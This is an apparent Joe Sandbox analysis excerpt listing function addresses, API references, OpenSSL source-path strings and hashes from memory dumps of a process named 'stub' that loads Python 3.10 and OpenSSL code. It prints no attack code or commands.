Opcode Fuzzy Hash: 4a5615fccb11e2113e4bdae87d566f23654b9fbf47032bb355c41642ab2ad7da
Instruction Fuzzy Hash: 1221CF22A0AB82A1EE11DF61E4101AEB7B0FF847D4F404135EA9C47B99EF7DE254DB00

Function 00007FF8A7DE4408 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A7FB870B
memmove.VCRUNTIME140 ref: 00007FF8A7FB871F

Strings

..\s\crypto\rsa\rsa_none.c, xrefs: 00007FF8A7FB86DD
$, xrefs: 00007FF8A7FB86E4

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmovememset
String ID: $$..\s\crypto\rsa\rsa_none.c
API String ID: 1288253900-779172340
Opcode ID: 38a7f707f1668c1bc20995bd0a57dced195f40200d2c2c45eace83041bad23b2
Instruction ID: f97439b9937b1634e6c0d5e5607bb424b87a81dd5fe2e803d2fdc0f307436aaa
Opcode Fuzzy Hash: 38a7f707f1668c1bc20995bd0a57dced195f40200d2c2c45eace83041bad23b2
Instruction Fuzzy Hash: 2B01B121B196429AEA10DF26A9440AEB761EB94BD4F148230FB5C47B9ADF3CE6419740

Function 00007FF8A7DE6A23 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 330COMMON

Download Yara Rule

Strings

..\s\crypto\engine\eng_ctrl.c, xrefs: 00007FF8A7F417E9, 00007FF8A7F418BC, 00007FF8A7F4192D, 00007FF8A7F419BE, 00007FF8A7F41AA3, 00007FF8A7F41AE1, 00007FF8A7F41B02, 00007FF8A7F41B22, 00007FF8A7F41B46, 00007FF8A7F41B64, 00007FF8A7F41B8C, 00007FF8A7F41BBC, 00007FF8A7F41BDE
b, xrefs: 00007FF8A7F419B6

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\engine\eng_ctrl.c$b
API String ID: 0-1836817417
Opcode ID: 637200c1ffe7b35fb40bf7025227ca8bb63ae6a0959190e154cfb847138dec9e
Instruction ID: aac5d8cd58e82116cb61b6acb833e4d336447743595ac9d82122a185c370ef38
Opcode Fuzzy Hash: 637200c1ffe7b35fb40bf7025227ca8bb63ae6a0959190e154cfb847138dec9e
Instruction Fuzzy Hash: F4E1AE22B4A282A7FB258F22D4047BD36A1FF847C4F544239DA8D53A95DF3CEA45E701

Function 00007FF8A7DE2743 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8A7E8A8A2

Strings

%04d%02d%02d%02d%02d%02dZ, xrefs: 00007FF8A7E8A9A8
%02d%02d%02d%02d%02d%02dZ, xrefs: 00007FF8A7E8A9B5

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: _time64
String ID: %02d%02d%02d%02d%02d%02dZ$%04d%02d%02d%02d%02d%02dZ
API String ID: 1670930206-2648760357
Opcode ID: 35c0674a6fc9a5195c317095fe527ac94bcdae6bb520b7aade9e85fd0519ba43
Instruction ID: e3d0248d857065909d0c9f2a670068e80f10d4f732f7737497ee6fd8d1098807
Opcode Fuzzy Hash: 35c0674a6fc9a5195c317095fe527ac94bcdae6bb520b7aade9e85fd0519ba43
Instruction Fuzzy Hash: BF516072A0D7819AE760CF19F44026EB7A0FB88B90F544135EA8D87B59EF3CE460DB00

Function 00007FF8A7DE1613 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FF8A7EA6B6E
getaddrinfo.WS2_32 ref: 00007FF8A7EA6BAF

Strings

..\s\crypto\bio\b_addr.c, xrefs: 00007FF8A7EA6BDC, 00007FF8A7EA6C23, 00007FF8A7EA6C4F

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: getaddrinfo
String ID: ..\s\crypto\bio\b_addr.c
API String ID: 300660673-2547254400
Opcode ID: cee4118a91f4e298bb24630199019e17d2161ccb3740edd78188986782efcc03
Instruction ID: bf3041a3ce0a7d8b014b76bc455f2fcee8299dde0ac82fc7007716bea78178a2
Opcode Fuzzy Hash: cee4118a91f4e298bb24630199019e17d2161ccb3740edd78188986782efcc03
Instruction Fuzzy Hash: 5D41E672A197829BE761CF12A4546BEB760FB85BC0F004135FA8A43B85EF3CE855DB44

Function 00007FF8A7DE3387 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32 ref: 00007FF8A7EAA197
WSAGetLastError.WS2_32 ref: 00007FF8A7EAA1A2

Strings

..\s\crypto\bio\b_sock.c, xrefs: 00007FF8A7EAA156, 00007FF8A7EAA1B8, 00007FF8A7EAA1D4, 00007FF8A7EAA207

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: ErrorLastgetsockname
String ID: ..\s\crypto\bio\b_sock.c
API String ID: 566540725-540685895
Opcode ID: 3f7e4d637075843b50ffdfd6546d49ef448eefcf8eb4d6d42073b27a69ad320d
Instruction ID: 51ac3a2959eba2319fbb9077a2fa3744ab8fead2857ecd0ca12728cd7d8f9c25
Opcode Fuzzy Hash: 3f7e4d637075843b50ffdfd6546d49ef448eefcf8eb4d6d42073b27a69ad320d
Instruction Fuzzy Hash: 6C2195B1A05506A6E722DF21D8046EE7760FF80795F800235E66C036D4EF3DE5A9DB54

Function 00007FF8A7DE251D Relevance: 5.3, APIs: 4, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ab70523127c85397b16234b165925c659837f5bfa7a0202ee04cf5bea613ef6
Instruction ID: 4c4b21ab4e7f62d83c50ff7ed2636f59f61b92979763b57b72760d824d046437
Opcode Fuzzy Hash: 2ab70523127c85397b16234b165925c659837f5bfa7a0202ee04cf5bea613ef6
Instruction Fuzzy Hash: F4C1B276B096808AD720CF5AA4447AEB7A1FB88BC4F044236EF8D97B59DF7CD0119B40

Function 00007FF8A7DE15AF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8A7EF0AA4

Strings

..\s\crypto\ct\ct_policy.c, xrefs: 00007FF8A7EF0A63, 00007FF8A7EF0A7A
!, xrefs: 00007FF8A7EF0A81

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: _time64
String ID: !$..\s\crypto\ct\ct_policy.c
API String ID: 1670930206-3401457818
Opcode ID: 32a726f6980b8bb1ce396641d9539c92bfdc5011f20b1d7d1caca86635368a2b
Instruction ID: 158ef271d2c1ae69487e593835c4e76e47fdf10ffc63575008d80535fb425004
Opcode Fuzzy Hash: 32a726f6980b8bb1ce396641d9539c92bfdc5011f20b1d7d1caca86635368a2b
Instruction Fuzzy Hash: 1AF04931A17606A6EB169F24D8013AD33A0FF44784F440535EA5D027D6FF3CEA66EB14

Function 00007FF8A7DE6BEA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8A7EAA352
WSAGetLastError.WS2_32 ref: 00007FF8A7EAA35E

Strings

..\s\crypto\bio\b_sock.c, xrefs: 00007FF8A7EAA374

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: ErrorLastioctlsocket
String ID: ..\s\crypto\bio\b_sock.c
API String ID: 1021210092-540685895
Opcode ID: 4461a209f28e95a1d17e1fe27fd0101058cda89b9424f7b2e88bf19f5e6d7981
Instruction ID: 93ed5fea977c60f439b284569acdb5ec81178273dbe1be9bec1ef8b895e77aea
Opcode Fuzzy Hash: 4461a209f28e95a1d17e1fe27fd0101058cda89b9424f7b2e88bf19f5e6d7981
Instruction Fuzzy Hash: 34E01A61F1B643A7F7125F619814B7E2354EF08B86F000238E91D826A1FF3DB669DA24

Function 00007FF8A7CC2640 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_PyObject_GC_New.PYTHON310(?,?,00000000,00007FF8A7CC25C3), ref: 00007FF8A7CC2646
PyObject_GC_Track.PYTHON310(?,?,00000000,00007FF8A7CC25C3), ref: 00007FF8A7CC2678

Strings

3.2.0, xrefs: 00007FF8A7CC2654

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Object_$Track
String ID: 3.2.0
API String ID: 16854473-1786766648
Opcode ID: 67925079c3bde44a90e15dbc745b9b94f72a09cbeef2eb16501d19ce5629974f
Instruction ID: 35e1415d46d81d3c464c1748b43b2ba043d3738b438af7eaa01401e81e4a9d24
Opcode Fuzzy Hash: 67925079c3bde44a90e15dbc745b9b94f72a09cbeef2eb16501d19ce5629974f
Instruction Fuzzy Hash: A8E07565A1BF02A6EB158F51A8540AC32A4FF0CB85B590535CE5D42360FF3DE564E364

Function 00007FF8A801B3F0 Relevance: 5.2, APIs: 4, Instructions: 239COMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(00007FF8A801B35B,00000000,?,00000000,00007FF8A801A5F9), ref: 00007FF8A801B52B
memchr.VCRUNTIME140(00007FF8A801B35B,00000000,?,00000000,00007FF8A801A5F9), ref: 00007FF8A801B573
memchr.VCRUNTIME140(00007FF8A801B35B,00000000,?,00000000,00007FF8A801A5F9), ref: 00007FF8A801B58D

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

